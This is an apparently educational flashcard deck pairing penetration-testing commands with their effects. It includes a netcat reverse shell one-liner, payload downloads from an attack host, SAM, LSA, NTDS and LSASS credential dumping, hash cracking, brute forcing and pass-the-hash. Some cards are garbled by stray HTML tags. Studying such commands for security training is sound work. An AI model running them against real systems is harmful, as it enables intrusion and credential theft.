Brainscape's Knowledge GenomeTM

Browse over 1 million classes created by top students, professors, publishers, and experts.


See full index

Name that command > Commands > Flashcards

Commands Flashcards

1
Q

ifconfig/ip a

A

Show our IP address

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

netstat -rn

A

Show networks accessible

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

ssh user@10.10.10.10

A

SSH to a remote server

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

ftp 10.129.42.253

A

FTP to a remote server

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

nmap -sV -sC 10.129.42.253

A

Run an nmap script scan

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

nmap –script smb-os-discovery.nse -p445 10.10.10.40

A

Run the smb os discovery nmap script

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

smbclient -N -L \\10.129.42.253

A

List SMB shares with no user

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

smbclient \\10.129.42.253\users

A

Connect to the SMB share “Users”

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0

A

scan SNMP using the ‘public’ community string.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

onesixtyone -c dict.txt 10.129.42.254

A

Bruteforce SNMP community string

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt

A

Simple directory scan using the common.txt wordlist

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

searchsploit openssh 7.2

A

search for an openssh 7.2 exploit

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

A

Creates an interactive reverse shell

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

python -c ‘import pty; pty.spawn(“/bin/bash”)’
ctrl+z then stty raw -echo then fg then enter twice

A

How to upgrade a shell into an interactive one using Python

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

ssh-keygen -f key

A

Generates a new SSH key

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

echo “ssh-rsa AAAAB…SNIP…M= user@host”&raquo_space; /root/.ssh/authorized_keys

A

Adds a generated key into the authorized keys folder.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

ssh root@10.10.10.10 -i key

A

SSH using a key.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

python3 -m http.server 8000

A

Start a python HTTP server that files can be pulled down from.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

scp linenum.sh user@remotehost:/tmp/linenum.sh

A

Copy a file via SSH

20
Q

wget http://10.10.14.1:8000/linpeas.sh

A

Pulls down a file from a webserver, in this case linpeas.sh

21
Q

nmap -Pn 10.10.10.10

A

Disables ICMP Echo Requests

22
Q

crackmapexec winrm <ip> -u user.list -p password.list</ip>

A

Uses CrackMapExec over WinRM to attempt to brute force user names and passwords specified hosted on a target.

23
Q

crackmapexec smb <ip> -u "user" -p "password" --shares</ip>

A

Uses CrackMapExec to enumerate smb shares on a target using a specified set of credentials.

24
Q

hydra -L user.list -P password.list <service>://<ip></ip></service>

A

Uses Hydra in conjunction with a user list and password list to attempt to crack a password over the specified service.

25
Q

crackmapexec smb <ip> -u <username> -p <password> --ntds</password></username></ip>

A

Uses CrackMapExec in conjunction with admin credentials to dump hashes from the ntds file over a network.

26
Q

crackmapexec smb <ip> --local-auth -u <username> -p <password> --lsa</password></username></ip>

A

Uses CrackMapExec in conjunction with admin credentials to dump lsa secrets, over the network. It is possible to get clear-text credentials this way.

27
Q

crackmapexec smb <ip> --local-auth -u <username> -p <password> --sam</password></username></ip>

A

Uses CrackMapExec in conjunction with admin credentials to dump password hashes stored in SAM, over the network.

28
Q

evil-winrm -i <ip> -u Administrator -H "<passwordhash>"</passwordhash></ip>

A

Uses Evil-WinRM to establish a Powershell session with a Windows target using a user and password hash. This is one type of Pass-The-Hash attack.

29
Q

What are the first 4 characters of EMPTY LANMAN:NTHASH hashes from windows?

A

aad3b…..:31d6c……

30
Q

move sam.save \10.10.15.16\CompData

A

From a hacked windows box sends a file to a SMB server waiting on our attack host

31
Q

reg.exe save hklm\sam C:\sam.save

A

Save the SAM

32
Q

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/

A

Starts an SMB server with a share named “CompData” and sends it to documents

33
Q

python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

A

Dumps everything from a saved SAM and Security registry (using the SYSTEM key)

34
Q

sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt

A

Cracks a NT hash with rockyou

35
Q

What three hives shoud you grab on any rooted windows host

A

SAM, System & Security

36
Q

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full

A

Gets a dump of process 672. In this example LSASS

37
Q

pypykatz lsa minidump /home/peter/Documents/lsass.dmp

A

Dumps the passwords from an LSASS dump

38
Q

Whats MSV (lsass)

A

MSV is an authentication package in Windows that LSA calls on to validate logon attempts against the SAM database.

39
Q

whats WDIGEST

A

WDIGEST is an older authentication protocol enabled by default in Windows XP - Windows 8 and Windows Server 2003 - Windows Server 2012. Cleartext credentials.

40
Q

What from Kerberos is stored in LSASS

A

LSASS caches passwords, ekeys, tickets, and pins associated with Kerberos. It is possible to extract these from LSASS process memory and use them to access other systems joined to the same domain.

41
Q

What is DPAPI

A

The Data Protection Application Programming Interface or DPAPI is a set of APIs in Windows operating systems used to encrypt and decrypt DPAPI data blobs on a per-user basis for Windows OS features and various third-party applications. INCLUDING CHROME, OUTLOOK etc

42
Q

whats NTDS.DIT

A

a database that stores Active Directory data, including information about user objects, groups and group membership. Importantly, the file also stores the password hashes for all users in the domain.

43
Q

crackmapexec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! –ntds

A

remotely dumps ntds.dit from an admin user.

44
Q

vssadmin CREATE SHADOW /For=C:

A

Creates a volume shadow copy that can be read without special permission

45
Q

cmd.exe /c copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

A

Moves a created volume shadow copy NTDS.DIT to somewhere on the normal disk.

Name that command (1 decks)

Brainscape helps you reach your goals faster, through stronger study habits.
© 2024 Bold Learning Solutions. Terms and Conditions